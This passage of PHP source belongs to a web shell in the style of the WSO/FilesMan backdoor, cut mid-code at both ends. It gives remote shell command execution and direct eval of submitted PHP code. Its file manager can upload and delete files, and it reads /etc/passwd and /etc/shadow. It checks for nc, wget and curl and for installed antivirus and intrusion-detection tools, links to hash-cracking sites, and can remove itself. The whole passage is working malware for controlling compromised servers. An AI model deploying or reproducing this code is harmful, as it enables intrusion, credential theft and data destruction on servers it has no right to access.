      $millink .= urlencode( \'Linux Kernel \' . substr($release,0,6) ); \r\n    else \r\n        $millink .= urlencode( $kernel . \' \' . substr($release,0,3) ); \r\n    if(!function_exists(\'posix_getegid\')) { \r\n        $user = @get_current_user(); \r\n        $uid = @getmyuid(); \r\n        $gid = @getmygid(); \r\n        $group = "?"; \r\n    } else { \r\n        $uid = @posix_getpwuid(@posix_geteuid()); \r\n        $gid = @posix_getgrgid(@posix_getegid()); \r\n        $user = $uid[\'name\']; \r\n        $uid = $uid[\'uid\']; \r\n        $group = $gid[\'name\']; \r\n        $gid = $gid[\'gid\']; \r\n    } \r\n    $cwd_links = \'\'; \r\n    $path = explode("/", $GLOBALS[\'cwd\']); \r\n    $n=count($path); \r\n    for($i=0;$i<$n-1;$i++) { \r\n        $cwd_links .= "<a href=\'#\' onclick=\'g(\\"FilesMan\\",\\""; \r\n        for($j=0;$j<=$i;$j++) \r\n            $cwd_links .= $path[$j].\'/\'; \r\n        $cwd_links .= "\\")\'>".$path[$i]."/</a>"; \r\n    } \r\n    $charsets = array(\'UTF-8\', \'Windows-1251\', \'KOI8-R\', \'KOI8-U\', \'cp866\'); \r\n    $opt_charsets = \'\'; \r\n    foreach($charsets as $item) \r\n        $opt_charsets .= \'<option value="\'.$item.\'" \'.($_POST[\'charset\']==$item?\'selected\':\'\').\'>\'.$item.\'</option>\'; \r\n    $m = array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Console\'=>\'Console\',\'Sql\'=>\'Sql\',\'Php\'=>\'Php\',\'Safe mode\'=>\'SafeMode\',\'String tools\'=>\'StringTools\',\'Bruteforce\'=>\'Bruteforce\',\'Network\'=>\'Network\'); \r\n    if(!empty($GLOBALS[\'auth_pass\'])) \r\n    $m[\'Logout\'] = \'Logout\'; \r\n    $m[\'Self remove\'] = \'SelfRemove\'; \r\n    $menu = \'\'; \r\n    foreach($m as $k => $v) \r\n        $menu .= \'<th width="\'.(int)(100/count($m)).\'%">[ <a href="#" onclick="g(\\\'\'.$v.\'\\\',null,\\\'\\\',\\\'\\\',\\\'\\\')">\'.$k.\'</a> ]</th>\'; \r\n    $drives = ""; \r\n    if ($GLOBALS[\'os\'] == \'win\') { \r\n        foreach( range(\'a\',\'z\') as $drive ) \r\n        if (is_dir($drive.\':\\\\\')) \r\n            $drives .= \'<a href="#" onclick="g(\\\'FilesMan\\\',\\\'\'.$drive.\':/\\\')">[ \'.$drive.\' ]</a> \'; \r\n    } \r\n    echo \'<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname<br>User<br>Php<br>Hdd<br>Cwd\'.($GLOBALS[\'os\'] == \'win\'?\'<br>Drives\':\'\').\'</span></td>\'. \r\n         \'<td>:<nobr>\'.substr(@php_uname(), 0, 120).\'  <a href="http://www.google.com/search?q=\'.urlencode(@php_uname()).\'" target="_blank">[Google]</a> <a href="\'.$millink.\'" target=_blank>[milw0rm]</a></nobr><br>:\'.$uid.\' ( \'.$user.\' ) <span>Group:</span> \'.$gid.\' ( \'.$group.\' )<br>:\'.@phpversion().\' <span>Safe mode:</span> \'.($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=<?=$color?><b>OFF</b></font>\').\' <a href=# onclick="g(\\\'Php\\\',null,null,\\\'info\\\')">[ phpinfo ]</a> <span>Datetime:</span> \'.date(\'Y-m-d H:i:s\').\'<br>:\'.viewSize($totalSpace).\' <span>Free:</span> \'.viewSize($freeSpace).\' (\'.(int)($freeSpace/$totalSpace*100).\'%)<br>:\'.$cwd_links.\' \'.viewPermsColor($GLOBALS[\'cwd\']).\' <a href=# onclick="g(\\\'FilesMan\\\',\\\'\'.$GLOBALS[\'home_cwd\'].\'\\\',\\\'\\\',\\\'\\\',\\\'\\\')">[ home ]</a><br>:\'.$drives.\'</td>\'. \r\n         \'<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">\'.$opt_charsets.\'</optgroup></select><br><span>Server IP:</span><br>\'.gethostbyname($_SERVER["HTTP_HOST"]).\'<br><span>Client IP:</span><br>\'.$_SERVER[\'REMOTE_ADDR\'].\'</nobr></td></tr></table>\'. \r\n         \'<table cellpadding=3 cellspacing=0 width=100%><tr>\'.$menu.\'</tr></table><div style="margin:5">\'; \r\n} \r\n\r\nfunction printFooter() { \r\n    $is_writable = is_writable($GLOBALS[\'cwd\'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>"; \r\n?> \r\n</div> \r\n<table class=info id=toolsTbl cellpadding=0 cellspacing=0 width=100%"> \r\n    <tr> \r\n        <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="<?=htmlspecialchars($GLOBALS[\'cwd\']);?>"><input type=submit value=">>"></form></td> \r\n        <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td> \r\n    </tr> \r\n    <tr> \r\n        <td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form><?=$is_writable?></td> \r\n        <td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form><?=$is_writable?></td> \r\n    </tr> \r\n    <tr> \r\n        <td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td> \r\n        <td><form method=\'post\' ENCTYPE=\'multipart/form-data\'> \r\n        <input type=hidden name=a value=\'FilesMAn\'> \r\n        <input type=hidden name=c value=\'<?=htmlspecialchars($GLOBALS[\'cwd\'])?>\'> \r\n        <input type=hidden name=p1 value=\'uploadFile\'> \r\n        <input type=hidden name=charset value=\'<?=isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\'?>\'> \r\n        <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form><?=$is_writable?></td> \r\n    </tr> \r\n\r\n</table> \r\n</div> \r\n</body></html> \r\n<?php \r\n} \r\nif ( !function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false) ) { function posix_getpwuid($p) { return false; } }\r\nif ( !function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false) ) { function posix_getgrgid($p) { return false; } }\r\nfunction ex($in) { \r\n    $out = \'\'; \r\n    if(function_exists(\'exec\')) { \r\n        @exec($in,$out); \r\n        $out = @join("\\n",$out); \r\n    }elseif(function_exists(\'passthru\')) { \r\n        ob_start(); \r\n        @passthru($in); \r\n        $out = ob_get_clean(); \r\n    }elseif(function_exists(\'system\')) { \r\n        ob_start(); \r\n        @system($in); \r\n        $out = ob_get_clean(); \r\n    }elseif(function_exists(\'shell_exec\')) { \r\n        $out = shell_exec($in); \r\n    }elseif(is_resource($f = @popen($in,"r"))) { \r\n        $out = ""; \r\n        while(!@feof($f)) \r\n            $out .= fread($f,1024); \r\n        pclose($f); \r\n    } \r\n    return $out; \r\n} \r\nfunction viewSize($s) { \r\n    if($s >= 1073741824) \r\n        return sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\'; \r\n    elseif($s >= 1048576) \r\n        return sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\'; \r\n    elseif($s >= 1024) \r\n        return sprintf(\'%1.2f\', $s / 1024 ) . \' KB\'; \r\n    else \r\n        return $s . \' B\'; \r\n} \r\n\r\nfunction perms($p) { \r\n    if (($p & 0xC000) == 0xC000)$i = \'s\'; \r\n    elseif (($p & 0xA000) == 0xA000)$i = \'l\'; \r\n    elseif (($p & 0x8000) == 0x8000)$i = \'-\'; \r\n    elseif (($p & 0x6000) == 0x6000)$i = \'b\'; \r\n    elseif (($p & 0x4000) == 0x4000)$i = \'d\'; \r\n    elseif (($p & 0x2000) == 0x2000)$i = \'c\'; \r\n    elseif (($p & 0x1000) == 0x1000)$i = \'p\'; \r\n    else $i = \'u\'; \r\n    $i .= (($p & 0x0100) ? \'r\' : \'-\'); \r\n    $i .= (($p & 0x0080) ? \'w\' : \'-\'); \r\n    $i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\')); \r\n    $i .= (($p & 0x0020) ? \'r\' : \'-\'); \r\n    $i .= (($p & 0x0010) ? \'w\' : \'-\'); \r\n    $i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\')); \r\n    $i .= (($p & 0x0004) ? \'r\' : \'-\'); \r\n    $i .= (($p & 0x0002) ? \'w\' : \'-\'); \r\n    $i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\')); \r\n    return $i; \r\n} \r\nfunction viewPermsColor($f) {  \r\n    if (!@is_readable($f)) \r\n        return \'<font color=#FF0000><b>\'.perms(@fileperms($f)).\'</b></font>\'; \r\n    elseif (!@is_writable($f)) \r\n        return \'<font color=white><b>\'.perms(@fileperms($f)).\'</b></font>\'; \r\n    else \r\n        return \'<font color=#00BB00><b>\'.perms(@fileperms($f)).\'</b></font>\'; \r\n} \r\nif(!function_exists("scandir")) { \r\n    function scandir($dir) { \r\n        $dh  = opendir($dir); \r\n        while (false !== ($filename = readdir($dh))) { \r\n            $files[] = $filename; \r\n        } \r\n        return $files; \r\n    } \r\n} \r\nfunction which($p) { \r\n    $path = ex(\'which \'.$p); \r\n    if(!empty($path)) \r\n        return $path; \r\n    return false; \r\n} \r\nfunction actionSecInfo() { \r\n    printHeader(); \r\n    echo \'<h1>Server security information</h1><div class=content>\'; \r\n    function showSecParam($n, $v) { \r\n        $v = trim($v); \r\n        if($v) { \r\n            echo \'<span>\'.$n.\': </span>\'; \r\n            if(strpos($v, "\\n") === false) \r\n                echo $v.\'<br>\'; \r\n            else \r\n                echo \'<pre class=ml1>\'.$v.\'</pre>\'; \r\n        } \r\n    } \r\n     \r\n    showSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\')); \r\n    showSecParam(\'Disabled PHP Functions\', ($GLOBALS[\'disable_functions\'])?$GLOBALS[\'disable_functions\']:\'none\'); \r\n    showSecParam(\'Open base dir\', @ini_get(\'open_basedir\')); \r\n    showSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\')); \r\n    showSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\')); \r\n    showSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\'); \r\n    $temp=array(); \r\n    if(function_exists(\'mysql_get_client_info\')) \r\n        $temp[] = "MySql (".mysql_get_client_info().")"; \r\n    if(function_exists(\'mssql_connect\')) \r\n        $temp[] = "MSSQL"; \r\n    if(function_exists(\'pg_connect\')) \r\n        $temp[] = "PostgreSQL"; \r\n    if(function_exists(\'oci_connect\')) \r\n        $temp[] = "Oracle"; \r\n    showSecParam(\'Supported databases\', implode(\', \', $temp)); \r\n    echo \'<br>\'; \r\n     \r\n    if( $GLOBALS[\'os\'] == \'nix\' ) { \r\n        $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\'); \r\n        $danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\'); \r\n        $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\'); \r\n        showSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"passwd\\")\'>[view]</a>":\'no\'); \r\n        showSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"etc\\", \\"shadow\\")\'>[view]</a>":\'no\'); \r\n        showSecParam(\'OS version\', @file_get_contents(\'/proc/version\')); \r\n        showSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\')); \r\n        if(!$GLOBALS[\'safe_mode\']) { \r\n            echo \'<br>\'; \r\n            $temp=array(); \r\n            foreach ($userful as $item) \r\n                if(which($item)){$temp[]=$item;} \r\n            showSecParam(\'Userful\', implode(\', \',$temp)); \r\n            $temp=array(); \r\n            foreach ($danger as $item) \r\n                if(which($item)){$temp[]=$item;} \r\n            showSecParam(\'Danger\', implode(\', \',$temp)); \r\n            $temp=array(); \r\n            foreach ($downloaders as $item)  \r\n                if(which($item)){$temp[]=$item;} \r\n            showSecParam(\'Downloaders\', implode(\', \',$temp)); \r\n            echo \'<br/>\'; \r\n            showSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\')); \r\n            showSecParam(\'HDD space\', ex(\'df -h\')); \r\n            showSecParam(\'Mount options\', @file_get_contents(\'/etc/fstab\')); \r\n        } \r\n    } else { \r\n        showSecParam(\'OS Version\',ex(\'ver\'));  \r\n        showSecParam(\'Account Settings\',ex(\'net accounts\'));  \r\n        showSecParam(\'User Accounts\',ex(\'net user\')); \r\n    } \r\n    echo \'</div>\'; \r\n    printFooter(); \r\n} \r\n\r\nfunction actionPhp() { \r\n    if( isset($_POST[\'ajax\']) ) { \r\n        $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true; \r\n        ob_start(); \r\n        eval($_POST[\'p1\']); \r\n        $temp = "document.getElementById(\'PhpOutput\').style.display=\'\';document.getElementById(\'PhpOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"\\n\\r\\t\\\\\'\\0")."\';\\n"; \r\n        echo strlen($temp), "\\n", $temp; \r\n        exit;  \r\n    } \r\n    printHeader(); \r\n    if( isset($_POST[\'p2\']) && ($_POST[\'p2\'] == \'info\') ) { \r\n        echo \'<h1>PHP info</h1><div class=content>\'; \r\n        ob_start(); \r\n        phpinfo(); \r\n        $tmp = ob_get_clean(); \r\n        $tmp = preg_replace(\'!body {.*}!msiU\',\'\',$tmp); \r\n        $tmp = preg_replace(\'!a:\\w+ {.*}!msiU\',\'\',$tmp); \r\n        $tmp = preg_replace(\'!h1!msiU\',\'h2\',$tmp); \r\n        $tmp = preg_replace(\'!td, th {(.*)}!msiU\',\'.e, .v, .h, .h th {$1}\',$tmp); \r\n        $tmp = preg_replace(\'!body, td, th, h2, h2 {.*}!msiU\',\'\',$tmp); \r\n        echo $tmp; \r\n        echo \'</div><br>\'; \r\n    } \r\n    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\'])) \r\n        $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false; \r\n        echo \'<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\\\'\\\');}return false;"><textarea name=code class=bigarea id=PhpCode>\'.(!empty($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\').\'</textarea><input type=submit value=Eval style="margin-top:5px">\'; \r\n    echo \' <input type=checkbox name=ajax value=1 \'.($_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX</form><pre id=PhpOutput style="\'.(empty($_POST[\'p1\'])?\'display:none;\':\'\').\'margin-top:5px;" class=ml1>\'; \r\n    if(!empty($_POST[\'p1\'])) { \r\n        ob_start(); \r\n        eval($_POST[\'p1\']); \r\n        echo htmlspecialchars(ob_get_clean()); \r\n    } \r\n    echo \'</pre></div>\'; \r\n    printFooter(); \r\n} \r\n\r\nfunction actionFilesMan() { \r\n    printHeader(); \r\n    echo \'<h1>File manager</h1><div class=content>\'; \r\n    if(isset($_POST[\'p1\'])) { \r\n        switch($_POST[\'p1\']) { \r\n            case \'uploadFile\': \r\n                if(!@move_uploaded_file($_FILES[\'f\'][\'tmp_name\'], $_FILES[\'f\'][\'name\'])) \r\n                    echo "Can\'t upload file!"; \r\n                break; \r\n                break; \r\n            case \'mkdir\': \r\n                if(!@mkdir($_POST[\'p2\'])) \r\n                    echo "Can\'t create new dir"; \r\n                break; \r\n            case \'delete\': \r\n                function deleteDir($path) { \r\n                    $path = (substr($path,-1)==\'/\') ? $path:$path.\'/\'; \r\n                    $dh  = opendir($path); \r\n                    while ( ($item = readdir($dh) ) !== false) { \r\n                        $item = $path.$item; \r\n                        if ( (basename($item) == "..") || (basename($item) == ".") ) \r\n                            continue; \r\n                        $type = filetype($item); \r\n                        if ($type == "dir") \r\n                            deleteDir($item); \r\n                        else \r\n                            @unlink($item); \r\n                    } \r\n                    closedir($dh); \r\n                    rmdir($path); \r\n                } \r\n                if(is_array(@$_POST[\'f\'])) \r\n                    foreach($_POST[\'f\'] as $f) { \r\n                        $f = urldecode($f); \r\n                        if(is_dir($f)) \r\n                            deleteDir($f); \r\n                        else \r\n                            @unlink($f); \r\n                    } \r\n                break; \r\n            case \'paste\': \r\n                if($_SESSION[\'act\'] == \'copy\') { \r\n                    function copy_paste($c,$s,$d){ \r\n                        if(is_dir($c.$s)){ \r\n                            mkdir($d.$s); \r\n                            $h = opendir($c.$s); \r\n                            while (($f = readdir($h)) !== false) \r\n                                if (($f != ".") and ($f != "..")) { \r\n                                    copy_paste($c.$s.\'/\',$f, $d.$s.\'/\'); \r\n                                } \r\n                        } elseif(is_file($c.$s)) { \r\n                            @copy($c.$s, $d.$s); \r\n                        } \r\n                    } \r\n                    foreach($_SESSION[\'f\'] as $f) \r\n                        copy_paste($_SESSION[\'cwd\'],$f, $GLOBALS[\'cwd\']);                     \r\n                } elseif($_SESSION[\'act\'] == \'move\') { \r\n                    function move_paste($c,$s,$d){ \r\n                        if(is_dir($c.$s)){ \r\n                            mkdir($d.$s); \r\n                            $h = opendir($c.$s); \r\n                            while (($f = readdir($h)) !== false) \r\n                                if (($f != ".") and ($f != "..")) { \r\n                                    copy_paste($c.$s.\'/\',$f, $d.$s.\'/\'); \r\n                                } \r\n                        } elseif(is_file($c.$s)) { \r\n                            @copy($c.$s, $d.$s); \r\n                        } \r\n                    } \r\n                    foreach($_SESSION[\'f\'] as $f) \r\n                        @rename($_SESSION[\'cwd\'].$f, $GLOBALS[\'cwd\'].$f); \r\n                } \r\n                unset($_SESSION[\'f\']); \r\n                break; \r\n            default: \r\n                if(!empty($_POST[\'p1\']) && (($_POST[\'p1\'] == \'copy\')||($_POST[\'p1\'] == \'move\')) ) { \r\n                    $_SESSION[\'act\'] = @$_POST[\'p1\']; \r\n                    $_SESSION[\'f\'] = @$_POST[\'f\']; \r\n                    foreach($_SESSION[\'f\'] as $k => $f) \r\n                        $_SESSION[\'f\'][$k] = urldecode($f); \r\n                    $_SESSION[\'cwd\'] = @$_POST[\'c\']; \r\n                } \r\n                break; \r\n        } \r\n        echo \'<script>document.mf.p1.value="";document.mf.p2.value="";</script>\'; \r\n    } \r\n    $dirContent = @scandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']); \r\n    if($dirContent === false) {    echo \'Can\\\'t open this folder!\'; return;    }\r\n    global $sort; \r\n    $sort = array(\'name\', 1); \r\n    if(!empty($_POST[\'p1\'])) { \r\n        if(preg_match(\'!s_([A-z]+)_(\\d{1})!\', $_POST[\'p1\'], $match)) \r\n            $sort = array($match[1], (int)$match[2]); \r\n    } \r\n?> \r\n<script> \r\n    function sa() { \r\n        for(i=0;i<document.files.elements.length;i++) \r\n            if(document.files.elements[i].type == \'checkbox\') \r\n                document.files.elements[i].checked = document.files.elements[0].checked; \r\n    } \r\n</script> \r\n<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'> \r\n<form name=files method=post> \r\n<?php \r\n    echo "<tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_name_".($sort[1]?0:1)."\\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_size_".($sort[1]?0:1)."\\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_modify_".($sort[1]?0:1)."\\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_perms_".($sort[1]?0:1)."\\")\'>Permissions</a></th><th>Actions</th></tr>"; \r\n    $dirs = $files = $links = array(); \r\n    $n = count($dirContent); \r\n    for($i=0;$i<$n;$i++) { \r\n        $ow = @posix_getpwuid(@fileowner($dirContent[$i])); \r\n        $gr = @posix_getgrgid(@filegroup($dirContent[$i])); \r\n        $tmp = array(\'name\' => $dirContent[$i], \r\n                     \'path\' => $GLOBALS[\'cwd\'].$dirContent[$i], \r\n                     \'modify\' => date(\'Y-m-d H:i:s\',@filemtime($GLOBALS[\'cwd\'].$dirContent[$i])), \r\n                     \'perms\' => viewPermsColor($GLOBALS[\'cwd\'].$dirContent[$i]),\r\n                     \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]), \r\n                     \'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]), \r\n                     \'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i]) \r\n                    ); \r\n        if(@is_file($GLOBALS[\'cwd\'].$dirContent[$i])) \r\n            $files[] = array_merge($tmp, array(\'type\' => \'file\')); \r\n        elseif(@is_link($GLOBALS[\'cwd\'].$dirContent[$i])) \r\n            $links[] = array_merge($tmp, array(\'type\' => \'link\')); \r\n        elseif(@is_dir($GLOBALS[\'cwd\'].$dirContent[$i])&& ($dirContent[$i] != ".")) \r\n            $dirs[] = array_merge($tmp, array(\'type\' => \'dir\')); \r\n    } \r\n    $GLOBALS[\'sort\'] = $sort; \r\n    function cmp($a, $b) { \r\n        if($GLOBALS[\'sort\'][0] != \'size\') \r\n            return strcmp($a[$GLOBALS[\'sort\'][0]], $b[$GLOBALS[\'sort\'][0]])*($GLOBALS[\'sort\'][1]?1:-1); \r\n        else \r\n            return (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1); \r\n    } \r\n    usort($files, "cmp"); \r\n    usort($dirs, "cmp"); \r\n    usort($links, "cmp"); \r\n    $files = array_merge($dirs, $links, $files); \r\n    $l = 0; \r\n    foreach($files as $f) { \r\n        echo \'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name="f[]" value="\'.urlencode($f[\'name\']).\'" class=chkbx></td><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'view\\\')">\'.htmlspecialchars($f[\'name\']):\'g(\\\'FilesMan\\\',\\\'\'.$f[\'path\'].\'\\\');"><b>[ \'.htmlspecialchars($f[\'name\']).\' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?viewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\',\\\'chmod\\\')">\'.$f[\'perms\'] \r\n            .\'</td><td><a href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'rename\\\')">R</a> <a href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'touch\\\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'edit\\\')">E</a> <a href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'download\\\')">D</a>\':\'\').\'</td></tr>\'; \r\n        $l = $l?0:1; \r\n    } \r\n    ?> \r\n    <tr><td colspan=7> \r\n    <input type=hidden name=a value=\'FilesMan\'> \r\n    <input type=hidden name=c value=\'<?=htmlspecialchars($GLOBALS[\'cwd\'])?>\'> \r\n    <input type=hidden name=charset value=\'<?=isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\'?>\'> \r\n    <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option><?php if(!empty($_SESSION[\'act\'])&&@count($_SESSION[\'f\'])){?><option value=\'paste\'>Paste</option><?php }?></select>&nbsp;<input type="submit" value=">>"></td></tr> \r\n    </form></table></div> \r\n    <?php \r\n    printFooter(); \r\n} \r\n\r\nfunction actionStringTools() { \r\n    if(!function_exists(\'hex2bin\')) {function hex2bin($p) {return decbin(hexdec($p));}} \r\n    if(!function_exists(\'hex2ascii\')) {function hex2ascii($p){$r=\'\';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}} \r\n    if(!function_exists(\'ascii2hex\')) {function ascii2hex($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}} \r\n    if(!function_exists(\'full_urlencode\')) {function full_urlencode($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= \'%\'.dechex(ord($p[$i]));return strtoupper($r);}} \r\n     \r\n    if(isset($_POST[\'ajax\'])) { \r\n        $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true; \r\n        ob_start(); \r\n        if(function_exists($_POST[\'p1\'])) \r\n            echo $_POST[\'p1\']($_POST[\'p2\']); \r\n        $temp = "document.getElementById(\'strOutput\').style.display=\'\';document.getElementById(\'strOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"\\n\\r\\t\\\\\'\\0")."\';\\n"; \r\n        echo strlen($temp), "\\n", $temp; \r\n        exit; \r\n    } \r\n    printHeader(); \r\n    echo \'<h1>String conversions</h1><div class=content>\'; \r\n    $stringTools = array( \r\n        \'Base64 encode\' => \'base64_encode\', \r\n        \'Base64 decode\' => \'base64_decode\', \r\n        \'Url encode\' => \'urlencode\', \r\n        \'Url decode\' => \'urldecode\', \r\n        \'Full urlencode\' => \'full_urlencode\', \r\n        \'md5 hash\' => \'md5\', \r\n        \'sha1 hash\' => \'sha1\', \r\n        \'crypt\' => \'crypt\', \r\n        \'CRC32\' => \'crc32\', \r\n        \'ASCII to HEX\' => \'ascii2hex\', \r\n        \'HEX to ASCII\' => \'hex2ascii\', \r\n        \'HEX to DEC\' => \'hexdec\', \r\n        \'HEX to BIN\' => \'hex2bin\', \r\n        \'DEC to HEX\' => \'dechex\', \r\n        \'DEC to BIN\' => \'decbin\', \r\n        \'BIN to HEX\' => \'bin2hex\', \r\n        \'BIN to DEC\' => \'bindec\',         \r\n        \'String to lower case\' => \'strtolower\', \r\n        \'String to upper case\' => \'strtoupper\', \r\n        \'Htmlspecialchars\' => \'htmlspecialchars\', \r\n        \'String length\' => \'strlen\', \r\n    ); \r\n    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\'])) \r\n        $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false; \r\n    echo "<form name=\'toolsForm\' onSubmit=\'if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;\'><select name=\'selectTool\'>"; \r\n    foreach($stringTools as $k => $v) \r\n        echo "<option value=\'".htmlspecialchars($v)."\'>".$k."</option>"; \r\n        echo "</select><input type=\'submit\' value=\'>>\'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\')."> send using AJAX<br><textarea name=\'input\' style=\'margin-top:5px\' class=bigarea>".htmlspecialchars(@$_POST[\'p2\'])."</textarea></form><pre class=\'ml1\' style=\'".(empty($_POST[\'p1\'])?\'display:none;\':\'\')."margin-top:5px\' id=\'strOutput\'>"; \r\n    if(!empty($_POST[\'p1\'])) { \r\n        if(function_exists($_POST[\'p1\'])) \r\n        echo htmlspecialchars($_POST[\'p1\']($_POST[\'p2\'])); \r\n    } \r\n    echo"</pre></div>"; \r\n    ?> \r\n    <br><h1>Search for hash:</h1><div class=content> \r\n        <form method=\'post\' target=\'_blank\' name="hf"> \r\n            <input type="text" name="hash" style="width:200px;"><br> \r\n            <input type="button" value="hashcrack.com" onclick="document.hf.action=\'http://www.hashcrack.com/index.php\';document.hf.submit()"><br> \r\n            <input type="button" value="milw0rm.com" onclick="document.hf.action=\'http://www.milw0rm.com/cracker/search.php\';document.hf.submit()"><br> \r\n            <input type="button" value="hashcracking.info" onclick="document.hf.action=\'https://hashcracking.info/index.php\';document.hf.submit()"><br> \r\n            <input type="button" value="md5.rednoize.com" onclick="document.hf.action=\'http://md5.rednoize.com/?q=\'+document.hf.hash.value+\'&s=md5\';document.hf.submit()"><br> \r\n            <input type="button" value="md5decrypter.com" onclick="document.hf.action=\'http://www.md5decrypter.com/\';document.hf.submit()"><br> \r\n        </form> \r\n    </div> \r\n    <?php \r\n    printFooter(); \r\n} \r\n\r\nfunction actionFilesTools() { \r\n    if( isset($_POST[\'p1\']) ) \r\n        $_POST[\'p1\'] = 